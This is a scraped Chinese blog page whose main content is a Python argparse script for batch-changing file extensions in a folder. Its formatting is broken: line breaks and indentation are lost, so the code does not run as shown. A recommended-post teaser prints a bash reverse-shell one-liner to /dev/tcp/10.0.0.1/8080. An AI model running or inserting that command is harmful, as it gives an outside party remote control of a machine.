#!/bin/usr/env python3

__author__ = 'nxz'

import os
import argparse def batch_rename(work_dir, old_ext, new_ext):
"""
批量将指定文件夹下的后缀名修改为新的后缀名
"""
for filename in os.listdir(work_dir):
# 获取文件名后缀
split_file = os.path.splitext(filename)
file_ext = split_file[1]
# 当后缀和给出的old_ext相同时,修改文件名
if old_ext == file_ext:
# return changed name of the file with new extension
newfile = split_file[0] + new_ext
# write the files
os.rename(os.path.join(work_dir, filename), os.path.join(work_dir, newfile)) def get_parse():
parser = argparse.ArgumentParser(description="批量修改指定文件夹下的文件后缀")
parser.add_argument("work_dir", metavar="WORK_DIR", type=str, nargs=1,
help="要修改后缀的文件夹路径")
parser.add_argument("old_ext", metavar="OLD_EXT", type=str, nargs=1, help="旧后缀")
parser.add_argument("new_ext", metavar="NEW_EXT", type=str, nargs=1, help="新后缀")
return parser def main():
parser = get_parse()
args = vars(parser.parse_args())
print(args)
work_dir = args['work_dir'][0]
old_ext = args['old_ext'][0]
new_ext = args['new_ext'][0]
  #使用了python中的切片 例如: a[0:2]
if (old_ext[0] != '.'):
old_ext = '.' + old_ext
if (new_ext[0] != '.'):
new_ext = '.' + new_ext batch_rename(work_dir, old_ext, new_ext) if __name__ == '__main__':
main()

使用:python batch_file_rename.py --help

python-argparse批量修改后缀名-batch_file_rename.py的更多相关文章

  1. Linux下批量修改后缀名

    1.用find和xargs添加后缀名 [root@node99 yum.repos.d]# ls -ltr total 32 -rw-r--r--. 1 root root 5701 Nov 23 2 ...

  2. Idea批量修改变量名

    Idea批量修改变量名.在变量名上进行rename操作,所有的同名变量都会自动更改. 快捷键:ALT+SHIFT+R

  3. IDEA批量修改变量名操作

    批量修改变量名操作:shift+F6选中变量---->修改变量---->Enter回车

  4. Ansible基于playbook批量修改主机名实战

    Ansible基于playbook批量修改主机名 安装Ansible,相信这里也不用多说,大家都知道 说一下环境:这里的主机名是修改之后的,我先把其他两台的主机名改为别的 192.168.30.21 ...

  5. 【shell脚本】批量修改扩展名===modifyExtension.sh

    前提:需切换到需要批量修改扩展名的目录下,运行脚本 [root@VM_0_10_centos shellScript]# cat modifyExtension.sh #!/bin/bash # 编写 ...

  6. Linux 递归修改后缀名

    1 修改命令 需要用到: find awk xargs 递归修改命令如下: find . -name '*.XXX' | awk -F "." '{print $2}' | xar ...

  7. Python脚本批量修改服务器密码

    搭建环境 centos 7.4 使用脚本 python 批量修改connect用户的密码 生成密码为随机密码 保存为xls文档   passwd_chang #!/usr/bin/env python ...

  8. SQL批量修改表名

    SELECT NAME FROM SYS. ALL_OBJECTS WHERE TYPE= 'U' ORDER BY MODIFY_DATE DESC --查询所有表名 SELECT NAME FRO ...

  9. Xcode里修改工程名、类名、批量修改变量名

    转:http://blog.csdn.net/yuedong56/article/details/13767001 一.修改工程名: 1.点击工程,右键,选择如图选项. 2.右侧如图位置,修改工程名. ...

随机推荐

  1. shell反射

    一.介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二.使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ...

  2. Linux 系统中五笔输入法有些字打不出来(已解决)

    最近在使用CentOS7 桌面版本,在用五笔打字时,有些字打不出来,比如“覆盖”.但是在WIN下能打出来. 从网上查找原因,原来是需要改成GBK字符集.方法如下: 修改文件 vim /usr/shar ...

  3. vue組件傳值及vuex的使用

    https://blog.csdn.net/u011175079/article/details/79161029 https://blog.csdn.net/sisi_chen/article/de ...

  4. js 实现的页面图片放大器以及 event中的诸多 x

    背景: 淘宝.天猫等电商网站浏览图片时可以查看大图的功能: 思路: 思路很简单,两张图片,一张较小渲染在页面上,一张较大是细节图,随鼠标事件调整它的 left & top; 需要的知识点: o ...

  5. input按钮使用方法

  6. Android NDK(C++) 双进程守护

    双进程守护如果从进程管理器观察会发现新浪微博.支付宝和QQ等都有两个以上相关进程,其中一个就是守护进程,由此可以猜到这些商业级的软件都采用了双进程守护的办法. 什么是双进程守护呢?顾名思义就是两个进程 ...

  7. BZOJ 2243 染色

    树链剖分+区间染色 因为是一颗树不是森林,所以应该用树剖就行,但是LCT好像也能写.. 直接用线段树维护树上的节点,注意pushdown还有询问的时候要考虑区间相交的地方,也就是左孩子右边和有孩子的左 ...

  8. 跟我一起写Makefile

    跟我一起写Makefile 来源  https://blog.csdn.net/fhaitao900310/article/details/82657193 陈皓 (博客地址:http://blog. ...

  9. MT【321】分类线性规划

    若二次函数$f(x)=ax^2+bx+c(a,b,c>0)$有零点,则$\min\{\dfrac{b+c}{a},\dfrac{c+a}{b},\dfrac{a+b}{c}\}$ 的最大值为__ ...

  10. webpack学习记录-初步体验(一)

    一.关于webpack 自从出现模块化以后,大家可以将原本一坨代码分离到个个模块中,但是由此引发了一个问题.每个 JS 文件都需要从服务器去拿,由此会导致加载速度变慢.Webpack 最主要的目的就是 ...